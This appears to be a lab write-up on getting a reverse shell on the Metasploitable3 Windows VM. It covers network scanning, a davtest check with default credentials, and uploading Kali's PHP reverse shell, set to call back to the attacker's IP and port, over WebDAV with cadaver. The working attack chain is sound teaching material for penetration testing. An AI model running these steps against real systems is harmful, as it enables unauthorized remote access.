Reverse Shell on MetaSploitable3 Windows
Tags: php, security, linux, reverse
Published: 2024-02-01 01:47:16


### In-Depth Steps for WebDAV Exploitation

WebDAV (Web Distributed Authoring and Versioning) is an extension of the HTTP protocol that allows users to collaboratively edit and manage files on remote web servers. In this guide, we'll explore the process of exploiting a target with a vulnerable WebDAV service to gain remote access using a PHP reverse shell. This tutorial assumes you have the necessary permissions to perform penetration testing on the target network.

#### Information Gathering

**Step 0: Check Router IP from eth0 on your Kali Machine**

```bash
ip addr
```

*Example Results:*
```
inet 192.168.1.10/24 brd 192.168.1.255 scope global dynamic noprefixroute eth0
```

**Step 1: Quick arp-scan**

```bash
arp-scan 192.168.1.1/24
```

*Example Results:*
```
192.168.1.3     02:f9:8e:69:9e:55       (Unknown: locally administered)
192.168.1.1     e0:19:54:46:e5:6e       zte corporation
192.168.1.11    08:00:27:e7:c3:e8       PCS Systemtechnik GmbH
```

**Step 2: Nmap Scan for All Ports and OS Detection**

```bash
nmap -Pn -T4 -vv -A -p1-65535 192.168.1.1/24 > /home/kali/Desktop/network-arp-scan.txt
```

*Example Results:*
```
Discovered open port 2869/tcp on 192.168.1.3
Discovered open port 7676/tcp on 192.168.1.11
Discovered open port 23/tcp on 192.168.1.1

// Also the open port 8585 for the WebDav 
PORT     STATE SERVICE REASON         VERSION
8585/tcp open  unknown syn-ack ttl 64
```

*Nmap scan report for 192.168.1.11:*
```
OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
TCP/IP fingerprint:
```

**Step 3: Davtest for WebDAV**

```bash
davtest -auth admin:password -sendbd -auto -url http://192.168.1.11:8585/uploads
```

*Example Results:*
```
Testing DAV connection
OPEN            SUCCEED:                http://192.168.1.11:8585/uploads
```

#### WebDAV Exploitation

**Step 4: Copy PHP Reverse Shell to Desktop**

```bash
cp /usr/share/webshells/php/php-reverse-shell.php /home/kali/Desktop
```

**Step 5: Edit PHP Reverse Shell**

Edit `/home/kali/Desktop/php-reverse-shell.php`:
```php
$ip = '192.168.1.10';  // Kali machine IP
$port = 7779;           // TCP/UDP Port
$shell = 'cmd.exe';     // Use cmd.exe for Windows
```

**Step 6: Start Netcat Listener on Kali**

```bash
nc -lvnp 7779
```

**Step 7: Upload PHP Reverse Shell Using Cadaver**

```bash
cadaver http://192.168.1.11:8585/uploads
dav:/uploads/> put /home/kali/Desktop/php-reverse-shell.php
```

**Step 8: Check Netcat Listener for Shell**

```bash
nc -lnvp 7779
```

Now, you should have a reverse shell connection. Adapt the commands based on your specific scenario and environment.

### Explanation:

1. **Information Gathering:**
   - *Step 0*: Check the router IP to identify the local network's subnet.
   - *Step 1*: Use arp-scan to discover active hosts on the network.
   - *Step 2*: Perform an Nmap scan to find open ports and detect the operating system.

2. **WebDAV Exploitation:**
   - *Step 3*: Use davtest to verify that the WebDAV service is accessible.
   - *Step 4*: Copy a PHP reverse shell script to the attacker's machine.
   - *Step 5*: Edit the PHP script with the attacker's IP and desired port.
   - *Step 6*: Start a Netcat listener on Kali to receive the reverse shell connection.
   - *Step 7*: Upload the modified PHP script to the target using Cadaver.
   - *Step 8*: Check the Netcat listener for a successful reverse shell.

Remember to ensure ethical and legal use of penetration testing tools and techniques. Unauthorized access to computer systems is illegal and unethical. Always obtain proper authorization before performing penetration tests on any network.